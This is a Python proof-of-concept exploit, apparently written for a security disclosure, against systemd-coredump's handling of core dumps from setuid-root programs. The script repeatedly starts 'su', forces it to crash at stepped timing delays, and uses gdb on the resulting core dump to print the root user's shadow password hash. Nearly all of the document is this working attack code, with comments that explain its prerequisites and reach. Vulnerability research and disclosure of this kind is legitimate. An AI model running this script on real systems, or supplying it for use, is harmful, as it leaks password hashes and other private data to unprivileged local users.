#!/usr/bin/python3 # Author: Matthias Gerstner # Date: 2022-11-17 # This script demonstrates the basic exploitation of systemd-coredump not # protecting coredumps of setuid-root binaries correctly. systemd-coredump # grants read access to the real user ID of privileged programs. This means an # unprivileged user can read core dumps of setuid-programs of its own # creation e.g. of the su program. # # Sending signals to one's own setuid-root programs is allowed, thus it is no # problem to forcibly generate core dumps. The attacker only needs to find a # lucky spot in time when the core dump contains sensitive data. # # The attack does not work for 'sudo', because sudo takes precautions to set # the coredump ulimit to zero, for historical security reasons (also see # sudo's man page about that). # # It does work with 'su', however, and we can obtain the shadow hash entry # for the 'su' target user, i.e. 'root' by default. With this information # the attacker could attempt cracking the hash with appropriate tools (this can # still prove to be difficult or even impossible). # To run this script you need: # # - The util-linux package (contains su) # - a typical PAM stack installation using pam_unix in the auth group # - the root user must have a password set (not the case on Ubuntu by default, # for example). Otherwise there is no hash to check and thus also no hash to # leak. # - the gdb GNU debugger # - debugging symbols for glibc, su (typically util-linux-debuginfo), PAM # (typically pam-debuginfo or libpam...-debuginfo) and maybe pam_unix (if # separate) # - as it looks like using debuginfod for debug symbols doesn't work well # currently with gdb's batch mode that is used in this script # - systemd-coredump must be installed and active # NOTE: on some systems an unprivileged user cannot list its own coredumps # because of missing journal access permissions. For demonstration purposes # you can add the user to the systemd-journal group to get past this. In # reality this is no limitation of the exploit, because the read permission on # /var/lib/systemd/coredump/* is still granted. It only complicates things a # bit, because the script would need to access the core files there directly # instead of going through the coredumpctl interface. # This PoC will run 'su' and kill it repeatedly with increasing sleep delays # until the most recent core dump contains a promising backtrace. On a match # gdb will be invoked and an attempt is made to present the shadow hash entry # of the target user (root by default). # In a real world system with a more complex PAM stack other sensitive data # might be in reach e.g. private data opened from target user home directories # or other system wide but private management data that a PAM module maintains # in /var. import shutil import signal import subprocess import sys import tempfile import time # this runs 'su' and forces it to dump core after the given sleep delay in seconds def run_and_dump(sleeptime): su = subprocess.Popen(["/usr/bin/su"], stdin=subprocess.PIPE) # wait for the su process to initialize and present the 'password' prompt, # this is printed directly onto the console so stdout=subprocess.PIPE # doesn't allow us to synchronize here time.sleep(0.1) su.stdin.write(b"stuff\n") su.stdin.flush() time.sleep(sleeptime) su.send_signal(signal.SIGTRAP) su.wait() # writes the most recent core dump into the given file object def write_cur_dump(fl): subprocess.check_call(["coredumpctl", "-q", "dump"], stdout=fl.fileno(), stderr=subprocess.DEVNULL) # checks the current core dump whether it might contain the password hash of the target user def check_dump(): # might take a bit for a core dump to actually appear in coredumpctl time.sleep(1) # older systemd-coredump don't support --debugger-arguments, therefore, # for compatibility, explicitly write out the core file and open it # ourselves #info = subprocess.check_output(["coredumpctl", "-q", "debug", "--debugger-arguments=--silent --batch -ex bt"]) with tempfile.NamedTemporaryFile() as fl: write_cur_dump(fl) info = subprocess.check_output(["gdb", "--silent", "--batch", "-ex", "bt", "su", fl.name]) warned_about_syms = False for line in info.decode("utf8").splitlines(): if not warned_about_syms: if "??" in line or line.find(") from /") != -1: print(f"\n\nit looks like you might be missing some debug symbols:\n\n{line}\n\n") warned_about_syms = True for key in ("verify_pwd_hash",): #print(line, f"<{key}?>") if line.find(key) != -1: print(f"\n\nfound a {key} related dump: {line}\n\n") return True def check_prereqs(): if not shutil.which("gdb"): print("you need to have 'gdb' installed", file=sys.stderr) sys.exit(1) if not shutil.which("coredumpctl"): print("you need to have 'systemd-coredump' installed", file=sys.stderr) sys.exit(1) with open("/proc/sys/kernel/core_pattern", "r") as fd: core_pattern = fd.read() if core_pattern.find("systemd-coredump") == -1: print("you need to start and configure 'systemd-coredump'", file=sys.stderr) print("HINT: after installing and starting systemd-coredump the first time you also might need to run 'sysctl --system'") sys.exit(1) sleeptime = 0.0 check_prereqs() while True: # keep dumping 'su' with increasing delays until we find something interesting run_and_dump(sleeptime) sleeptime = round(sleeptime + 0.001, 3) print(f"sleeping {sleeptime}s") if check_dump(): with tempfile.NamedTemporaryFile() as fl: write_cur_dump(fl) subprocess.call(["gdb", "--silent", "--batch", "-ex", "bt", "-ex", "frame function verify_pwd_hash", "-ex", "up", "-ex", "echo likely root shadow hash:\\n", "-ex", "print salt", "su", fl.name]) while True: print("Continue? (y/n) ", flush=True, end = '') cont = sys.stdin.readline() if not cont or cont.strip() in ("y", "n"): break if cont != "y": break